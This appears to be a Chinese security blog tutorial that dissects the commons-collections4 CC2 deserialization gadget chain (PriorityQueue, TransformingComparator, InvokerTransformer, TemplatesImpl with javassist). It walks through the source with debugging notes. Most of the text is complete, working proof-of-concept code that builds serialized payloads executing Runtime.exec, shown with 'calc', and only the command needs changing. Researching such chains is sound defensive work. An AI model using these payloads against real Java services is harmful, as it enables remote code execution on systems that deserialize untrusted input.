CC2
common-collection4
官方认为旧的旧的common-collection有一些结构和API设计上的问题,但修复这些问题会产生大量不能向前兼容的改动。于是推出的common-collection4不再认为是一个用来替换common-collection的新版本,而是一个新的包。
两者的命名空间不冲突,可以共存在同一个项目中。
在common-collection4-4.0下,依旧能利用common-collection-3.2.1的调用链,只是换了个包名而已。
依赖改成如下即可:
1
2
3
4
5
|
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
|
针对common-collections4,ysoserial也是给出了两条反序列化调用链,也就是cc2和cc4,这里就讲讲CC2。
前置知识
测试环境:
- commons-collections4.0
- JDK 8u411
CC2有利用到javassist
,所以这里需要有javassist
的前置知识。
需要了解的类
PriorityQueue
这个类位于java.util.PriorityQueue
PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。
因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会更具元素的排序顺序决定出堆的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。
在CC2中,我们就是要利用到PriorityQueue类,来看这个类重写的readObject()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
|
这里将数据反序列化到queue
中后,会调用heapify()
方法来对数据进行排序。跟进一下heapify()
方法:

heapify()
方法会调用siftDown()
,继续跟进:

当comparator
不为 null 的时候,就会调用siftDownUsingComparator()
方法:
在 siftDownUsingComparator()
方法中,会调用 comparator 的 compare()
方法来进行优先级的比较和排序。
这样,反序列化之后的优先级队列,也拥有了顺序。
TransformingComparator 是触发漏洞的关键,他将 Transformer 执行点和 PriorityQueue 触发点联系了起来。这个类位于org.apache.commons.collections4.comparators.TransformingComparator
。
既然这里都说到了联系了起来,在PriorityQueue 类的最后说到了 compare() 方法,那么我们来看一下TransformingComparator 的compare()方法:

这里就调用到了transform 方法,通过的是this.transformer
对象,来看一下TransformingComparator的构造方法:

如果初始化的时候不指定 Comparator,则使用这个类直接定义的的 ComparableComparator.comparableComparator()
,也就是第一个构造方法,并且我们就是要利用第一个构造方法。
这里可以看到正好这个this.transformer
变量是我们要求的Transformer类型。这样我们就传入基本盘的链子实现漏洞利用。
链子大概出来了,现在就是来构造。
攻击构造
还是给个代码来调试,结合前面的大概链子的说明,这里需要给出PriorityQueue实例和TransformingComparator实例,还是简单给出一个代码来调试。来看一下我们要利用到的PriorityQueue类的构造方法:

这里的initialCapacity不能小于1。
结合前面的描述,我们需要将这里的this.comparator
设置为TransformingComparator类的实例。
那么就可以尝试构造一下代码了:
fake:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
package org.example;
import java.util.PriorityQueue;
import java.util.Comparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(chainPart);
TransformingComparator comparator1 = new TransformingComparator(chain);
PriorityQueue priority = new PriorityQueue(1,comparator1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
在调试过程中,直接在heapify()就结束了,并没有进入for循环:

个人想法:这是因为PriorityQueue
被初始化的时候只有一个元素空间,但是没有实际添加任何元素,所以我们需要调用PriorityQueue
的add方法来向对象添加元素
疑问一
这里就有个小疑问了,初始化了一个元素空间,这是什么,我们看之前给出的利用到的PriorityQueue
类的构造方法:

并且我们在初始化的时候确实是只传了一个1进去。现在来分析一下这个构造方法,我们看这一块:

这里是创建了一个下标为initialCapacity
的Object数组并赋值给了this.queue
,所以在这里initialCapacity
的值代表了这个数组能容纳多少个值。
那么现在来看一下add方法:

这个add方法实际调用的是offer()
方法,来分析一下offer()方法的源码:
这里用到了size变量,定义如下:

继续分析offer()方法:
-
当第一次调用add,即第一次进入offer方法,此时会将i
设置为size定义的0,然后由于i<我们初始化定义的queue数组长度1,所以不会进入第一个if条件
-
然后继续,此时就会size赋值i+1
,导致size的值变成1。
-
然后由于第一次进入,此时的i为0,就会进入第二个if条件,这样就会将我们定义得queue数组的第一个值定义为我们add进的比如10。
-
这样就完成了数组的赋值。
那么如果我们类初始化时传入的是2呢?定义了“两个容量”的数组,然后在第二次put时会发生什么?(假设我们第二次还是add进10)
-
这样i就是1,第一个if条件同样不会进入
-
size的值变成2
-
第二个if条件不会进入,会调用siftUp方法,那么此时的i为1,x为10,看一下源码:

类初始化的时候我们定义了comparator变量,继续跟进siftUpUsingComparator方法:

这里自然会进入while循环,并且会调用comparator的compare()方法来比较(稍微看一下可以知道就是在给数组第二个赋值,所以基本可以肯定我们初始化时传进去的int值就是用来确定可以add进几个元素了)。
————
这里我想到了一个东西,由于我们传入的compare变量为TransformingComparator,那么是否可以认为只要我们正确传入链子,这里应该是可以成功弹出计算机的,测试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import java.util.PriorityQueue;
import java.util.Comparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(chainPart);
TransformingComparator comparator1 = new TransformingComparator(chain);
PriorityQueue priority = new PriorityQueue(2,comparator1);
priority.add(10);
priority.add(10);
}
}
|
成功按照预期弹出两个计算机,这是因为TransformingComparator的compare用了两次transformer方法:

那么为了避免这个序列化时弹计算机问题,我们就使用之前说过的先假再反射更改为真的就行了。
想法结束,可行
————
继续分析siftUpUsingComparator代码,现在就跟进一下那个if条件,在我们进入到TransformingComparator的compare后,如上图源码。就算在上面传入真的利用链,最后返回的都是1,所以无论我们add进什么值,最后这里比较的value1和value2都是1,然后调用decorate.compare()方法,可以直接用上面的代码调试,然后到ComparableComparator类的compare():

然后就直接返回到TransformingComparator的compare()方法==》直接退回到add()了,不知道这个compareTo的结果是什么,但是可以加断点看结果:

可以知道最后的compareTo的结果是true,导致while循环直接结束,然后就直接给queue[1] = 10
了。结合我前面说的,由于我们构造的链子,会导致compareTo比较的值会都是1,直接返回true,所以其实这里的siftUpUsingComparator()我们可以看作是直接给对应的下标k赋值为x即可。
——————
offer()方法分析结束,但是我此时想到了PriorityQueue的readObject()方法:

前面给过size变量的定义了,可以看出size的值是可以被序列化的,并且从上面的过程可以看出size的值是和我们add进的值个数是相同的。这样基本就可以看懂这里的readObject()方法是在干嘛了。
疑问解决
现在继续分析heapify()方法:

就是看会不会进入这个for循环,这里的size正好就是我们前面刚说过的,前面的>>>
是按位右移补零操作符,当size为0,1时候i都小于0,这里需要满足size≥2,即我们需要add进两个元素。
那么代码可以改为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package org.example;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.lang.reflect.Field;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
TransformingComparator comparator1 = new TransformingComparator(chain);
PriorityQueue priority = new PriorityQueue(2,comparator1);
priority.add(1);
priority.add(1);
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
但是这样已经成功在反序列化的时候弹出两个计算机了。
还是继续跟一下:
所以此时siftDown的参数分别为0和queue[0]的值,也就是1。
然后有效点到了siftDownUsingComparator方法

对应值图里面都有,size就是我们最开始定义的2,剩下的已经很好看懂了,最后就是在第二个if这里成功调用compare()方法从而弹出计算机。
OK,调用链结束。
最终的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package org.example;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.lang.reflect.Field;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
TransformingComparator comparator1 = new TransformingComparator(chain);
PriorityQueue priority = new PriorityQueue(2,comparator1);
priority.add(1);
priority.add(1);
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
javassist补充
除了前面的POC,还可以利用到javassist来操作,刚好这里要利用到之前在javassist没说过的利用方法,简单说下,直接看代码和结果就行了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
public class Haha {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("cat");
String cmd = "System.out.println(\"static创建成功\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.writeFile("output");
Class clazz = ctClass.toClass();
clazz.newInstance();
}
}
|
运行后成功在output目录下生成cat.class文件:

并且成功输出static创建成功:

————————
这里的javassist构造就直接看POC来分析
POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
//获取默认的ClassPool
ClassPool pool = ClassPool.getDefault();
//向ClassPool容器插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建Cat类
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//就是创建static默认方法
cc.makeClassInitializer().insertBefore(cmd);
//生成一个随机的类名,这里使用了当前系统时间的纳秒部分来确保“唯一性”
String randomClassName = "EvilCat" + System.nanoTime();
//更改类名,但是其实直接用Cat就行,但是用来确保唯一性也是可以的
cc.setName(randomClassName);
//cc.writeFile();
//设置cc类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
inputStream.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
对于javassist的操作注释已经说很清楚了,从中给"Cat"类加父类AbstractTranslet就是动态加载字节码里面要求的。
现在来分析一下其他的代码,将中间的javassist直接理解为一个构造类似Test.class的过程,现在来看其他的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
//直接将InvokerTransformer类实例传给transformer变量
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
//将CtClass对象转换为字节码
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
//这里是正常的能够成功加载字节码的要求
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
outputStream.writeObject(queue);
outputStream.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
分别看代码:

这一部分就是获取InvokerTransformer的构造方法,然后将一般在加载字节码时需要用到的newTransformer
传进去,这里分别在实例化时用到的方法为:
InvokerTransformer:

TransformingComparator就是前面讲过的那个。
PriorityQueue则是:

然后继续看:

这里就是定义了一个数组,为什么是Object[]很好理解,为什么是这个顺序后面会说。
然后调用反射将queue的值更改为这个数组。
后续又是反射来更改size值为2,因为我们没有调用add方法,所以不会让size值增加,我们需要改值。
再后来又是反射修改PriorityQueue的comparator的值为我们的利用链。
思考一下其实到transform()方法的路线都是一样的,差别就在于这里是直接调用的InvokerTransformer的transform()方法,我们来看一下有些啥特殊之处:
这里就需要注意这个obj1了,因为InvokerTransformer需要注意传入的值。

在前面的第一条链子的调试过程中我们很容易可以知道这里的obj1就代表queue[0]里面的templates对象,也就是前面那条链子反序列化时的:

和

这样就很清楚了,然后为什么需要前面的是TemplatesImpl类实例,后面的才是其其他值:
这里主要是因为如果1在前面,那么在调用transform()方法时就会抛出异常然后退出:

这样就不能达到既定的目的。
但是如果我们将TemplatesImpl类实例放在前面,那么就会先传入TemplatesImpl,成功完成一次method.invoke(),也就会成功及逆行一次命令执行。虽然同样会报错退出,但是已经达到了既定目的。这也就是需要将TemplatesImpl类实例放在前面的原因。
那么对于后续的调用的InvokerTransformer类的transform()方法也清楚了:

跟我们之前说的CC3那里异曲同工,还是比较精妙的。
现在基本就通了,这里就是在动态加载字节码过程中的newInstance()时会触发static代码块,然后弹出计算机。
所以最终的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2,Tcomparator);
//获取默认的ClassPool
ClassPool pool = ClassPool.getDefault();
//向ClassPool容器插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建Cat类
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//就是创建static默认方法
cc.makeClassInitializer().insertBefore(cmd);
//生成一个随机的类名,这里使用了当前系统时间的纳秒部分来确保“唯一性”
String randomClassName = "EvilCat" + System.nanoTime();
//更改类名,但是应该直接用Cat就行了,但是用来确保唯一性也是可以的
cc.setName(randomClassName);
//设置cc类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//cc.writeFile("output");
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
inputStream.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
成功按照预期弹出一个计算机。
稍微改一点javassist代码就可以得到构造出来的类为:

还有一个点就是为什么在动态加载字节码那里会少一行,这是因为TemplatesImpl类的readObject()方法有定义:

在构造代码时也可以加上,像CC3那样。
但是我有点小奇怪的就是为啥不用在比如Cat
类重写那两个transform()
方法,但是无所谓,就算不能用也可以直接使用javassist将transform()方法添加上去即可。